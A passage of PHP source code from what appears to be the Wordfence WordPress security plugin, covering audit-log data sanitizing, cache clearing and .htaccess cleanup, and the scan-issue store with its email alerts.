*/ protected function _sanitizeAppPassword($item) { if ($item instanceof stdClass) { $item = get_object_vars($item); } return array( 'uuid' => empty($item['uuid']) ? '' : $item['uuid'], 'app_id' => empty($item['app_id']) ? '' : $item['app_id'], 'name' => empty($item['name']) ? '' : $item['name'], 'created' => empty($item['created']) ? 0 : $item['created'], 'last_used' => empty($item['last_used']) ? null : $item['last_used'], 'last_ip' => empty($item['last_ip']) ? null : $item['last_ip'], ); } /** * Returns the desired fields from a post record. * * @param array|object|WP_Post $post * @return array */ protected function _sanitizePost($post) { if ($post instanceof stdClass) { $post = get_object_vars($post); } else if ($post instanceof WP_Post) { $post = $post->to_array(); } $author = isset($post['post_author']) ? get_user_by('ID', $post['post_author']) : null; $created = null; if (isset($post['post_date_gmt']) && $post['post_date_gmt'] != '0000-00-00 00:00:00') { //Prefer *_gmt, but sometimes WP doesn't set that $created = strtotime($post['post_date_gmt']); } else if (isset($post['post_date'])) { $created = strtotime($post['post_date']); } $modified = null; if (isset($post['post_modified_gmt']) && $post['post_modified_gmt'] != '0000-00-00 00:00:00') { //Prefer *_gmt, but sometimes WP doesn't set that $modified = strtotime($post['post_modified_gmt']); } else if (isset($post['post_modified'])) { $modified = strtotime($post['post_modified']); } $sanitized = array( 'post_id' => $post['ID'], 'author_id' => isset($post['post_author']) ? $post['post_author'] : null, 'author' => $author ? $this->_sanitizeUserdata($author) : null, 'title' => isset($post['post_title']) ? $post['post_title'] : null, 'created' => $created, 'last_modified' => $modified, 'type' => isset($post['post_type']) ? $post['post_type'] : 'post', 'status' => isset($post['post_status']) ? $post['post_status'] : 'publish', ); if (isset($post['post_type']) && $post['post_type'] == wfAuditLogObserversWordPressCoreContent::WP_POST_TYPE_ATTACHMENT) { $sanitized['context'] = get_post_meta($post['ID'], '_wp_attachment_context', true); } return $sanitized; } protected function _postDiff($post1, $post2) { if ($post1 instanceof stdClass) { $post1 = get_object_vars($post1); } else if ($post1 instanceof WP_Post) { $post1 = $post1->to_array(); } if ($post2 instanceof stdClass) { $post2 = get_object_vars($post2); } else if ($post2 instanceof WP_Post) { $post2 = $post2->to_array(); } return wfUtils::array_diff_assoc($post1, $post2); } /** * Returns whether or not the array of post changes should trigger an event recording. It will return false when * there are no changes or when the only changes are innocuous values like post dates. * * @param $changes * @return bool */ protected function _shouldRecordPostChanges($changes) { if (empty($changes) || !is_array($changes)) { return false; } $ignored = array('post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'menu_order'); $test = array_filter($changes, function($i) use ($ignored) { return !in_array($i, $ignored); }); return !empty($test); } protected function _extractMultisiteID($option, $suffix) { global $wpdb; if (!is_multisite()) { return false; } if (substr($option, -1 * strlen($suffix)) == $suffix) { $option = substr($option, 0, strlen($option) - strlen($suffix)); if (substr($option, 0, strlen($wpdb->base_prefix)) == $wpdb->base_prefix) { $option = substr($option, strlen($wpdb->base_prefix)); $option = trim($option, '_'); if (empty($option)) { return 1; } return intval($option); } } return false; } /** * Returns an array containing the installed versions at the time of calling for core and all themes/plugins. * * @return array */ protected function _installedVersions() { $state = array(); require(ABSPATH . WPINC . '/version.php'); /** @var string $wp_version */ $state['core'] = $wp_version; if (!function_exists('get_plugins')) { require_once(ABSPATH . '/wp-admin/includes/plugin.php'); } $plugins = get_plugins(); $state['plugins'] = array_filter(array_map(function($p) { return isset($p['Version']) ? $p['Version'] : null; }, $plugins), function($v) { return $v != null; }); if (!function_exists('wp_get_themes')) { require_once(ABSPATH . '/wp-includes/theme.php'); } $themes = wp_get_themes(); $state['themes'] = array_filter(array_map(function($t) { return isset($t['Version']) ? $t['Version'] : null; }, $themes), function($v) { return $v != null; }); return $state; } /** * Attempts to resolve the given plugin path to the file containing its header. Returns that path if found, otherwise * null. Most plugins will simply be .../slug/slug.php, but some are single-file plugins while others have a * non-standard PHP file containing the header. * * Based on `get_plugins()`. * * @param string $path * @return string|null */ protected function _resolvePlugin($path) { if (is_dir($path)) { $scanner = @opendir($path); if ($scanner) { while (($subfile = readdir($scanner)) !== false) { if (preg_match('/^\./i', $subfile)) { continue; } else if (preg_match('/\.php$/i', $subfile)) { if (!is_readable($path . DIRECTORY_SEPARATOR . $subfile)) { continue; } $plugin_data = get_plugin_data($path . DIRECTORY_SEPARATOR . $subfile, false, false); if (!empty($plugin_data['Name'])) { return $path . DIRECTORY_SEPARATOR . $subfile; } } } closedir($scanner); } } else if (preg_match('/\.php$/i', $path) && is_readable($path)) { $plugin_data = get_plugin_data($path, false, false); if (!empty($plugin_data['Name'])) { return $path; } } return null; } /** * Returns data for the plugin at $path if possible, otherwise null. * * @param string $path * @return array|null */ protected function _getPlugin($path) { $original = $this->_getState('upgrader_pre_install.versions', 0); $raw = get_plugin_data($path); if ($raw) { $data = array(); foreach ($raw as $f => $v) { $k = strtolower(preg_replace('/\s+/', '_', $f)); //Translates all headers: Plugin Name -> plugin_name $data[$k] = $v; } $base = plugin_basename($path); if ($original && isset($original['plugins'][$base])) { $data['previous_version'] = $original['plugins'][$base]; } return $data; } return null; } /** * Returns data for the theme if possible, otherwise null. * * @param WP_Theme|string $theme_or_path * @return array|null */ protected function _getTheme($theme_or_path) { $original = $this->_getState('upgrader_pre_install.versions', 0); if ($theme_or_path instanceof WP_Theme) { $theme = $theme_or_path; } else { $theme = wp_get_theme(basename($theme_or_path), dirname($theme_or_path)); } if ($theme) { $fields = array( 'Name', 'ThemeURI', 'Description', 'Author', 'AuthorURI', 'Version', 'Template', 'Status', 'Tags', 'TextDomain', 'DomainPath', 'RequiresWP', 'RequiresPHP', 'UpdateURI', ); $data = array(); foreach ($fields as $f) { $k = strtolower(preg_replace('/\s+/', '_', $f)); $data[$k] = $theme->display($f); } $base = $theme->get_stylesheet(); if ($original && isset($original['themes'][$base])) { $data['previous_version'] = $original['themes'][$base]; } return $data; } return null; } } class wfAuditLogSendFailedException extends Exception { } wfCache.php000064400000014026147206764270006637 0ustar00 0, 'filesDeleted' => 0, 'totalData' => 0, 'totalErrors' => 0, 'error' => '', ); $cacheDir = WP_CONTENT_DIR . '/wfcache/'; if (!file_exists($cacheDir)) { return self::$cacheStats; } $cacheClearLock = WP_CONTENT_DIR . '/wfcache/clear.lock'; if(! is_file($cacheClearLock)){ if(! touch($cacheClearLock)){ self::$cacheStats['error'] = "Could not create a lock file $cacheClearLock to clear the cache."; self::$cacheStats['totalErrors']++; return self::$cacheStats; } } $fp = fopen($cacheClearLock, 'w'); if(! $fp){ self::$cacheStats['error'] = "Could not open the lock file $cacheClearLock to clear the cache. Please make sure the directory is writable by your web server."; self::$cacheStats['totalErrors']++; return self::$cacheStats; } if(flock($fp, LOCK_EX | LOCK_NB)){ //non blocking exclusive flock attempt. If we get a lock then it continues and returns true. If we don't lock, then return false, don't block and don't clear the cache. // This logic means that if a cache clear is currently in progress we don't try to clear the cache. // This prevents web server children from being queued up waiting to be able to also clear the cache. self::$lastRecursiveDeleteError = false; self::recursiveDelete(WP_CONTENT_DIR . '/wfcache/'); if(self::$lastRecursiveDeleteError){ self::$cacheStats['error'] = self::$lastRecursiveDeleteError; self::$cacheStats['totalErrors']++; } flock($fp, LOCK_UN); @unlink($cacheClearLock); @rmdir($cacheDir); } fclose($fp); return self::$cacheStats; } private static function recursiveDelete($dir) { $files = array_diff(scandir($dir), array('.','..')); foreach ($files as $file) { if(is_dir($dir . '/' . $file)){ if(! self::recursiveDelete($dir . '/' . $file)){ return false; } } else { if($file == 'clear.lock'){ continue; } //Don't delete our lock file $size = filesize($dir . '/' . $file); if($size){ self::$cacheStats['totalData'] += round($size / 1024); } if(strpos($dir, 'wfcache/') === false){ self::$lastRecursiveDeleteError = "Not deleting file in directory $dir because it appears to be in the wrong path."; self::$cacheStats['totalErrors']++; return false; //Safety check that we're in a subdir of the cache } if(@unlink($dir . '/' . $file)){ self::$cacheStats['filesDeleted']++; } else { self::$lastRecursiveDeleteError = "Could not delete file " . $dir . "/" . $file . " : " . wfUtils::getLastError(); self::$cacheStats['totalErrors']++; return false; } } } if($dir != WP_CONTENT_DIR . '/wfcache/'){ if(strpos($dir, 'wfcache/') === false){ self::$lastRecursiveDeleteError = "Not deleting directory $dir because it appears to be in the wrong path."; self::$cacheStats['totalErrors']++; return false; //Safety check that we're in a subdir of the cache } if(@rmdir($dir)){ self::$cacheStats['dirsDeleted']++; } else { self::$lastRecursiveDeleteError = "Could not delete directory $dir : " . wfUtils::getLastError(); self::$cacheStats['totalErrors']++; return false; } return true; } else { return true; } } public static function addHtaccessCode($action){ if($action != 'remove'){ die("Error: addHtaccessCode must be called with 'remove' as param"); } $htaccessPath = self::getHtaccessPath(); if(! $htaccessPath){ return "Wordfence could not find your .htaccess file."; } $fh = @fopen($htaccessPath, 'r+'); if(! $fh){ $err = error_get_last(); return $err['message']; } flock($fh, LOCK_EX); fseek($fh, 0, SEEK_SET); //start of file clearstatcache(); $contents = fread($fh, filesize($htaccessPath)); if(! $contents){ fclose($fh); return "Could not read from $htaccessPath"; } $contents = preg_replace('/#WFCACHECODE.*WFCACHECODE[\r\s\n\t]*/s', '', $contents); ftruncate($fh, 0); fflush($fh); fseek($fh, 0, SEEK_SET); fwrite($fh, $contents); flock($fh, LOCK_UN); fclose($fh); return false; } /** * @param $action * @return bool|string|void */ public static function updateBlockedIPs($action){ //'add' or 'remove' $htaccessPath = self::getHtaccessPath(); if(! $htaccessPath){ return "Wordfence could not find your .htaccess file."; } if($action == 'remove'){ $fh = @fopen($htaccessPath, 'r+'); if(! $fh){ $err = error_get_last(); return $err['message']; } flock($fh, LOCK_EX); fseek($fh, 0, SEEK_SET); //start of file clearstatcache(); $contents = @fread($fh, filesize($htaccessPath)); if(! $contents){ fclose($fh); return "Could not read from $htaccessPath"; } $contents = preg_replace('/#WFIPBLOCKS.*WFIPBLOCKS[\r\s\n\t]*/s', '', $contents); ftruncate($fh, 0); fflush($fh); fseek($fh, 0, SEEK_SET); @fwrite($fh, $contents); flock($fh, LOCK_UN); fclose($fh); return false; } return false; } public static function getHtaccessPath(){ $homePath = wfUtils::getHomePath(); $htaccessFile = $homePath.'.htaccess'; return $htaccessFile; } public static function doNotCache(){ if(! defined('WFDONOTCACHE')){ define('WFDONOTCACHE', true); } } }wfIssues.php000064400000066415147206764270007120 0ustar00 wfIssues::SEVERITY_CRITICAL, 'checkSpamIP' => wfIssues::SEVERITY_HIGH, 'spamvertizeCheck' => wfIssues::SEVERITY_CRITICAL, 'commentBadURL' => wfIssues::SEVERITY_LOW, 'postBadTitle' => wfIssues::SEVERITY_HIGH, 'postBadURL' => wfIssues::SEVERITY_HIGH, 'file' => wfIssues::SEVERITY_CRITICAL, 'timelimit' => wfIssues::SEVERITY_HIGH, 'checkHowGetIPs' => wfIssues::SEVERITY_HIGH, 'diskSpace' => wfIssues::SEVERITY_HIGH, 'wafStatus' => wfIssues::SEVERITY_CRITICAL, 'configReadable' => wfIssues::SEVERITY_CRITICAL, 'wfPluginVulnerable' => wfIssues::SEVERITY_HIGH, 'coreUnknown' => wfIssues::SEVERITY_HIGH, 'easyPasswordWeak' => wfIssues::SEVERITY_HIGH, 'knownfile' => wfIssues::SEVERITY_HIGH, 'optionBadURL' => wfIssues::SEVERITY_HIGH, 'publiclyAccessible' => wfIssues::SEVERITY_HIGH, 'suspiciousAdminUsers' => wfIssues::SEVERITY_HIGH, 'wfPluginAbandoned' => wfIssues::SEVERITY_MEDIUM, 'wfPluginRemoved' => wfIssues::SEVERITY_CRITICAL, 'wfPluginUpgrade' => wfIssues::SEVERITY_MEDIUM, 'wfThemeUpgrade' => wfIssues::SEVERITY_MEDIUM, 'wfUpgradeError' => wfIssues::SEVERITY_MEDIUM, 'wfUpgrade' => wfIssues::SEVERITY_HIGH, 'wpscan_directoryList' => wfIssues::SEVERITY_HIGH, 'wpscan_fullPathDiscl' => wfIssues::SEVERITY_HIGH, ); public static function validIssueTypes() { return array('checkHowGetIPs', 'checkSpamIP', 'commentBadURL', 'configReadable', 'coreUnknown', 'database', 'diskSpace', 'wafStatus', 'easyPassword', 'file', 'geoipSupport', 'knownfile', 'optionBadURL', 'postBadTitle', 'postBadURL', 'publiclyAccessible', 'spamvertizeCheck', 'suspiciousAdminUsers', 'timelimit', 'wfPluginAbandoned', 'wfPluginRemoved', 'wfPluginUpgrade', 'wfPluginVulnerable', 'wfThemeUpgrade', 'wfUpgradeError', 'wfUpgrade', 'wpscan_directoryList', 'wpscan_fullPathDiscl', 'skippedPaths'); } public static function statusPrep(){ wfConfig::set_ser('wfStatusStartMsgs', array()); wordfence::status(10, 'info', "SUM_PREP:Preparing a new scan."); wfIssues::updateScanStillRunning(); } public static function statusStart($message) { $statusStartMsgs = wfConfig::get_ser('wfStatusStartMsgs', array()); $statusStartMsgs[] = $message; wfConfig::set_ser('wfStatusStartMsgs', $statusStartMsgs); wordfence::status(10, 'info', 'SUM_START:' . $message); wfIssues::updateScanStillRunning(); return count($statusStartMsgs) - 1; } public static function statusEnd($index, $state) { $statusStartMsgs = wfConfig::get_ser('wfStatusStartMsgs', array()); if ($state == self::STATUS_SKIPPED) { wordfence::status(10, 'info', 'SUM_ENDSKIPPED:' . $statusStartMsgs[$index]); } else if ($state == self::STATUS_IGNORED) { wordfence::status(10, 'info', 'SUM_ENDIGNORED:' . $statusStartMsgs[$index]); } else if ($state == self::STATUS_PROBLEM) { wordfence::status(10, 'info', 'SUM_ENDBAD:' . $statusStartMsgs[$index]); } else if ($state == self::STATUS_SECURE) { wordfence::status(10, 'info', 'SUM_ENDOK:' . $statusStartMsgs[$index]); } else if ($state == self::STATUS_FAILED) { wordfence::status(10, 'info', 'SUM_ENDFAILED:' . $statusStartMsgs[$index]); } else if ($state == self::STATUS_SUCCESS) { wordfence::status(10, 'info', 'SUM_ENDSUCCESS:' . $statusStartMsgs[$index]); } wfIssues::updateScanStillRunning(); $statusStartMsgs[$index] = ''; wfConfig::set_ser('wfStatusStartMsgs', $statusStartMsgs); } public static function statusEndErr() { $statusStartMsgs = wfConfig::get_ser('wfStatusStartMsgs', array()); for ($i = 0; $i < count($statusStartMsgs); $i++) { if (empty($statusStartMsgs[$i]) === false) { wordfence::status(10, 'info', 'SUM_ENDERR:' . $statusStartMsgs[$i]); $statusStartMsgs[$i] = ''; } } wfIssues::updateScanStillRunning(); } public static function statusPaidOnly($message) { wordfence::status(10, 'info', "SUM_PAIDONLY:" . $message); wfIssues::updateScanStillRunning(); } public static function statusDisabled($message) { wordfence::status(10, 'info', "SUM_DISABLED:" . $message); wfIssues::updateScanStillRunning(); } public static function updateScanStillRunning($running = true) { static $lastUpdate = 0; if ($running) { $timestamp = time(); if ($timestamp - $lastUpdate < self::SCAN_STATUS_UPDATE_INTERVAL) return; $lastUpdate = $timestamp; } else { $timestamp = 0; } wfConfig::set('wf_scanLastStatusTime', $timestamp); } /** * Returns false if the scan has not been detected as failed. If it has, returns a constant corresponding to the reason. * * @return bool|string */ public static function hasScanFailed() { $lastStatusUpdate = self::lastScanStatusUpdate(); if ($lastStatusUpdate !== false && wfScanner::shared()->isRunning()) { $threshold = WORDFENCE_SCAN_FAILURE_THRESHOLD; if (time() - $lastStatusUpdate > $threshold) { return self::SCAN_FAILED_TIMEOUT; } } $scanStartAttempt = wfConfig::get('scanStartAttempt', 0); if ($scanStartAttempt && time() - $scanStartAttempt > WORDFENCE_SCAN_START_FAILURE_THRESHOLD) { return self::SCAN_FAILED_START_TIMEOUT; } $recordedFailure = wfConfig::get('lastScanFailureType'); switch ($recordedFailure) { case self::SCAN_FAILED_GENERAL: case self::SCAN_FAILED_DURATION_REACHED: case self::SCAN_FAILED_VERSION_CHANGE: case self::SCAN_FAILED_FORK_FAILED: case self::SCAN_FAILED_CALLBACK_TEST_FAILED: case self::SCAN_FAILED_API_SSL_UNAVAILABLE: case self::SCAN_FAILED_API_CALL_FAILED: case self::SCAN_FAILED_API_INVALID_RESPONSE: case self::SCAN_FAILED_API_ERROR_RESPONSE: return $recordedFailure; } return false; } /** * Returns false if the scan has not been detected as timed out. If it has, it returns the timestamp of the last status update. * * @return bool|int */ public static function lastScanStatusUpdate() { if (wfConfig::get('wf_scanLastStatusTime', 0) === 0) { return false; } $threshold = WORDFENCE_SCAN_FAILURE_THRESHOLD; return (time() > wfConfig::get('wf_scanLastStatusTime', 0) + $threshold) ? wfConfig::get('wf_scanLastStatusTime', 0) : false; } /** * Returns the singleton wfIssues. * * @return wfIssues */ public static function shared() { static $_issues = null; if ($_issues === null) { $_issues = new wfIssues(); } return $_issues; } public function __sleep(){ //Same order here as vars above return array('updateCalled', 'issuesTable', 'pendingIssuesTable', 'maxIssues', 'newIssues', 'totalIssues', 'totalIgnoredIssues', 'totalIssuesBySeverity'); } public function __construct(){ $this->issuesTable = wfDB::networkTable('wfIssues'); $this->pendingIssuesTable = wfDB::networkTable('wfPendingIssues'); $this->maxIssues = wfConfig::get('scan_maxIssues', 0); } public function __wakeup(){ $this->db = new wfDB(); } public function addIssue($type, $severity, $ignoreP, $ignoreC, $shortMsg, $longMsg, $templateData, $alreadyHashed = false) { return $this->_addIssue('issue', $type, $severity, $ignoreP, $ignoreC, $shortMsg, $longMsg, $templateData, $alreadyHashed); } public function addPendingIssue($type, $severity, $ignoreP, $ignoreC, $shortMsg, $longMsg, $templateData) { return $this->_addIssue('pending', $type, $severity, $ignoreP, $ignoreC, $shortMsg, $longMsg, $templateData); } /** * Create a new issue * * @param string $group The issue type (e.g., issue or pending * @param string $type * @param int $severity * @param string $ignoreP string to compare against for permanent ignores * @param string $ignoreC string to compare against for ignoring until something changes * @param string $shortMsg * @param string $longMsg * @param array $templateData * @param bool $alreadyHashed If true, don't re-hash $ignoreP and $ignoreC * @return string One of the ISSUE_ constants */ private function _addIssue($group, $type, $severity, $ignoreP, $ignoreC, $shortMsg, $longMsg, $templateData, $alreadyHashed = false) { if ($group == 'pending') { $table = $this->pendingIssuesTable; } else { $table = $this->issuesTable; } if (!$alreadyHashed) { $ignoreP = md5($ignoreP); $ignoreC = md5($ignoreC); } $results = $this->getDB()->querySelect("SELECT id, status, ignoreP, ignoreC FROM {$table} WHERE (ignoreP = '%s' OR ignoreC = '%s')", $ignoreP, $ignoreC); foreach ($results as $row) { if ($row['status'] == 'new' && ($row['ignoreC'] == $ignoreC || $row['ignoreP'] == $ignoreP)) { if ($type != 'file' && $type != 'database') { //Filter out duplicate new issues except for infected files because we want to see all infections even if file contents are identical return self::ISSUE_DUPLICATE; } } if ($row['status'] == 'ignoreP' && $row['ignoreP'] == $ignoreP) { $this->totalIgnoredIssues++; return self::ISSUE_IGNOREP; } //Always ignore else if ($row['status'] == 'ignoreC' && $row['ignoreC'] == $ignoreC) { $this->totalIgnoredIssues++; return self::ISSUE_IGNOREC; } //Unchanged, ignore else if ($row['status'] == 'ignoreC') { $updateID = $row['id']; //Re-use the existing issue row break; } } if ($group != 'pending') { if (!array_key_exists($severity, $this->totalIssuesBySeverity)) { $this->totalIssuesBySeverity[$severity] = 0; } $this->totalIssuesBySeverity[$severity]++; $this->totalIssues++; if (empty($this->maxIssues) || $this->totalIssues <= $this->maxIssues) { $this->newIssues[] = array( 'type' => $type, 'severity' => $severity, 'ignoreP' => $ignoreP, 'ignoreC' => $ignoreC, 'shortMsg' => $shortMsg, 'longMsg' => $longMsg, 'tmplData' => $templateData ); } } if (isset($updateID)) { if ($group !== 'pending' && wfCentral::isConnected()) { wfCentral::sendIssue(array( 'id' => $updateID, 'lastUpdated' => time(), 'type' => $type, 'severity' => $severity, 'ignoreP' => $ignoreP, 'ignoreC' => $ignoreC, 'shortMsg' => $shortMsg, 'longMsg' => $longMsg, 'data' => $templateData, )); } $this->getDB()->queryWrite( "UPDATE {$table} SET lastUpdated = UNIX_TIMESTAMP(), status = '%s', type = '%s', severity = %d, ignoreP = '%s', ignoreC = '%s', shortMsg = '%s', longMsg = '%s', data = '%s' WHERE id = %d", 'new', $type, $severity, $ignoreP, $ignoreC, $shortMsg, $longMsg, serialize($templateData), $updateID); return self::ISSUE_UPDATED; } $this->getDB()->queryWrite("INSERT INTO {$table} (time, lastUpdated, status, type, severity, ignoreP, ignoreC, shortMsg, longMsg, data) VALUES (UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), '%s', '%s', %d, '%s', '%s', '%s', '%s', '%s')", 'new', $type, $severity, $ignoreP, $ignoreC, $shortMsg, $longMsg, serialize($templateData)); if ($group !== 'pending' && wfCentral::isConnected()) { global $wpdb; wfCentral::sendIssue(array( 'id' => $wpdb->insert_id, 'status' => 'new', 'time' => time(), 'lastUpdated' => time(), 'type' => $type, 'severity' => $severity, 'ignoreP' => $ignoreP, 'ignoreC' => $ignoreC, 'shortMsg' => $shortMsg, 'longMsg' => $longMsg, 'data' => $templateData, )); } return self::ISSUE_ADDED; } public function deleteIgnored(){ if (wfCentral::isConnected()) { $result = $this->getDB()->querySelect("SELECT id from " . $this->issuesTable . " where status='ignoreP' or status='ignoreC'"); $issues = array(); foreach ($result as $row) { $issues[] = $row['id']; } wfCentral::deleteIssues($issues); } $this->getDB()->queryWrite("delete from " . $this->issuesTable . " where status='ignoreP' or status='ignoreC'"); } public function deleteNew($types = null) { if (!is_array($types)) { if (wfCentral::isConnected()) { wfCentral::deleteNewIssues(); } $this->getDB()->queryWrite("DELETE FROM {$this->issuesTable} WHERE status = 'new'"); } else { if (wfCentral::isConnected()) { wfCentral::deleteIssueTypes($types, 'new'); } $query = "DELETE FROM {$this->issuesTable} WHERE status = 'new' AND type IN (" . implode(',', array_fill(0, count($types), "'%s'")) . ")"; array_unshift($types, $query); call_user_func_array(array($this->getDB(), 'queryWrite'), $types); } } public function ignoreAllNew(){ if (wfCentral::isConnected()) { $issues = $this->getDB()->querySelect('SELECT * FROM ' . $this->issuesTable . ' WHERE status=\'new\''); if ($issues) { wfCentral::sendIssues($issues); } } $this->getDB()->queryWrite("update " . $this->issuesTable . " set status='ignoreC' where status='new'"); } public function emailNewIssues($timeLimitReached = false, $scanController = false){ $level = wfConfig::getAlertLevel(); $emails = wfConfig::getAlertEmails(); if (!count($emails)) { return; } $shortSiteURL = preg_replace('/^https?:\/\//i', '', site_url()); $subject = "[Wordfence Alert] Problems found on $shortSiteURL"; if(sizeof($emails) < 1){ return; } if($level < 1){ return; } $needsToAlert = false; foreach ($this->totalIssuesBySeverity as $issueSeverity => $totalIssuesBySeverity) { if ($issueSeverity >= $level && $totalIssuesBySeverity > 0) { $needsToAlert = true; break; } } if (!$needsToAlert) { return; } $emailedIssues = wfConfig::get_ser('emailedIssuesList', array()); if(! is_array($emailedIssues)){ $emailedIssues = array(); } $overflowCount = $this->totalIssues - count($this->newIssues); $finalIssues = array(); $previousIssues = array(); foreach($this->newIssues as $newIssue){ $alreadyEmailed = false; foreach($emailedIssues as $emailedIssue){ if($newIssue['ignoreP'] == $emailedIssue['ignoreP'] || $newIssue['ignoreC'] == $emailedIssue['ignoreC']){ $alreadyEmailed = true; $previousIssues[] = $newIssue; break; } } if(! $alreadyEmailed){ $finalIssues[] = $newIssue; } else { $overflowCount--; } } if(sizeof($finalIssues) < 1){ return; } $this->newIssues = array(); $this->totalIssues = 0; $totals = array(); foreach($finalIssues as $i){ $emailedIssues[] = array( 'ignoreC' => $i['ignoreC'], 'ignoreP' => $i['ignoreP'] ); if (!array_key_exists($i['severity'], $totals)) { $totals[$i['severity']] = 0; } $totals[$i['severity']]++; } wfConfig::set_ser('emailedIssuesList', $emailedIssues, false, wfConfig::DONT_AUTOLOAD); $needsToAlert = false; foreach ($totals as $issueSeverity => $totalIssuesBySeverity) { if ($issueSeverity >= $level && $totalIssuesBySeverity > 0) { $needsToAlert = true; break; } } if (!$needsToAlert) { return; } $content = wfUtils::tmpl('email_newIssues.php', array( 'isPaid' => wfConfig::get('isPaid'), 'issues' => $finalIssues, 'previousIssues' => $previousIssues, 'totals' => $totals, 'level' => $level, 'issuesNotShown' => $overflowCount, 'adminURL' => get_admin_url(), 'timeLimitReached' => $timeLimitReached, 'scanController' => ($scanController ? $scanController : wfScanner::shared()), )); foreach ($emails as $email) { $uniqueContent = str_replace('', wp_kses(sprintf(__('No longer an administrator for this site? Click here to stop receiving security alerts.', 'wordfence'), wfUtils::getSiteBaseURL() . '?_wfsf=removeAlertEmail&jwt=' . wfUtils::generateJWT(array('email' => $email))), array('a'=>array('href'=>array(), 'target'=>array()))), $content); wp_mail($email, $subject, $uniqueContent, 'Content-type: text/html'); } } public function clearEmailedStatus($issues) { if (empty($issues)) { return; } $emailed_issues = wfConfig::get_ser('emailedIssuesList', array()); if (!is_array($emailed_issues)) { return; } $updated = array(); foreach ($emailed_issues as $ei) { $cleared = false; foreach ($issues as $issue) { if ($issue['ignoreP'] == $ei['ignoreP'] || $issue['ignoreC'] == $ei['ignoreC']) { //Discard this one $cleared = true; } } if (!$cleared) { $updated[] = $ei; } } wfConfig::set_ser('emailedIssuesList', $updated, false, wfConfig::DONT_AUTOLOAD); } public function deleteIssue($id){ $this->clearEmailedStatus(array($this->getIssueByID($id))); $this->getDB()->queryWrite("delete from " . $this->issuesTable . " where id=%d", $id); if (wfCentral::isConnected()) { wfCentral::deleteIssue($id); } } public function deleteUpdateIssues($type) { $issues = $this->getDB()->querySelect("SELECT id, status, ignoreP, ignoreC FROM {$this->issuesTable} WHERE status = 'new' AND type = '%s'", $type); $this->clearEmailedStatus($issues); $this->getDB()->queryWrite("DELETE FROM {$this->issuesTable} WHERE status = 'new' AND type = '%s'", $type); if (wfCentral::isConnected()) { wfCentral::deleteIssueTypes(array($type)); } } public function deleteAllUpdateIssues() { $issues = $this->getDB()->querySelect("SELECT id, status, ignoreP, ignoreC FROM {$this->issuesTable} WHERE status = 'new' AND (type = 'wfUpgrade' OR type = 'wfUpgradeError' OR type = 'wfPluginUpgrade' OR type = 'wfThemeUpgrade')"); $this->clearEmailedStatus($issues); $this->getDB()->queryWrite("DELETE FROM {$this->issuesTable} WHERE status = 'new' AND (type = 'wfUpgrade' OR type = 'wfUpgradeError' OR type = 'wfPluginUpgrade' OR type = 'wfThemeUpgrade')"); if (wfCentral::isConnected()) { wfCentral::deleteIssueTypes(array('wfUpgrade', 'wfUpgradeError', 'wfPluginUpgrade', 'wfThemeUpgrade')); } } public function updateIssue($id, $status){ //ignoreC, ignoreP, delete or new if($status == 'delete'){ if (wfCentral::isConnected()) { wfCentral::deleteIssue($id); } $this->clearEmailedStatus(array($this->getIssueByID($id))); $this->getDB()->queryWrite("delete from " . $this->issuesTable . " where id=%d", $id); } else if($status == 'ignoreC' || $status == 'ignoreP' || $status == 'new'){ $this->getDB()->queryWrite("update " . $this->issuesTable . " set status='%s' where id=%d", $status, $id); if (wfCentral::isConnected()) { $issue = $this->getDB()->querySelect('SELECT * FROM ' . $this->issuesTable . ' where id=%d', $id); if ($issue) { wfCentral::sendIssues($issue); } } } } public function getIssueByID($id) { $rec = $this->getDB()->querySingleRec("select * from " . $this->issuesTable . " where id=%d", $id); $rec['data'] = unserialize($rec['data']); return $rec; } public function getIssueCounts() { global $wpdb; $counts = $wpdb->get_results('SELECT COUNT(*) AS c, status FROM ' . $this->issuesTable . ' WHERE status = "new" OR status = "ignoreP" OR status = "ignoreC" GROUP BY status', ARRAY_A); $result = array(); foreach ($counts as $row) { $result[$row['status']] = $row['c']; } return $result; } public function getIssues($offset = 0, $limit = 100, $ignoredOffset = 0, $ignoredLimit = 100) { /** @var wpdb $wpdb */ global $wpdb; $siteCleaningTypes = array('file', 'checkGSB', 'checkSpamIP', 'commentBadURL', 'knownfile', 'optionBadURL', 'postBadTitle', 'postBadURL', 'spamvertizeCheck', 'suspiciousAdminUsers'); $sortTagging = 'CASE'; foreach ($siteCleaningTypes as $index => $t) { $sortTagging .= ' WHEN type = \'' . esc_sql($t) . '\' THEN ' . ((int) $index); } $sortTagging .= ' ELSE 999 END'; $ret = array( 'new' => array(), 'ignored' => array() ); $userIni = ini_get('user_ini.filename'); $q1 = $this->getDB()->querySelect("SELECT *, {$sortTagging} AS sortTag FROM " . $this->issuesTable . " WHERE status = 'new' ORDER BY severity DESC, sortTag ASC, type ASC, time DESC LIMIT %d,%d", $offset, $limit); $q2 = $this->getDB()->querySelect("SELECT *, {$sortTagging} AS sortTag FROM " . $this->issuesTable . " WHERE status = 'ignoreP' OR status = 'ignoreC' ORDER BY severity DESC, sortTag ASC, type ASC, time DESC LIMIT %d,%d", $ignoredOffset, $ignoredLimit); $q = array_merge($q1, $q2); foreach($q as $i){ $i['data'] = unserialize($i['data']); $i['timeAgo'] = wfUtils::makeTimeAgo(time() - $i['time']); $i['displayTime'] = wfUtils::formatLocalTime(get_option('date_format') . ' ' . get_option('time_format'), $i['time']); $i['longMsg'] = wp_kses($i['longMsg'], 'post'); if($i['status'] == 'new'){ $ret['new'][] = $i; } else if($i['status'] == 'ignoreP' || $i['status'] == 'ignoreC'){ $ret['ignored'][] = $i; } else { error_log("Issue has bad status: " . $i['status']); continue; } } foreach($ret as $status => &$issueList){ for($i = 0; $i < sizeof($issueList); $i++){ if ($issueList[$i]['type'] == 'file' || $issueList[$i]['type'] == 'knownfile') { if (array_key_exists('realFile', $issueList[$i]['data'])) { $localFile = $issueList[$i]['data']['realFile']; $issueList[$i]['data']['realFileToken'] = self::generateRealFileToken($localFile); } else { $localFile = $issueList[$i]['data']['file']; if ($localFile != '.htaccess' && $localFile != $userIni) { $localFile = ABSPATH . '/' . preg_replace('/^[\.\/]+/', '', $localFile); } else { $localFile = ABSPATH . '/' . $localFile; } } if(file_exists($localFile)){ $issueList[$i]['data']['fileExists'] = true; } else { $issueList[$i]['data']['fileExists'] = ''; } } if ($issueList[$i]['type'] == 'database') { $issueList[$i]['data']['optionExists'] = false; if (!empty($issueList[$i]['data']['site_id'])) { $table_options = wfDB::blogTable('options', 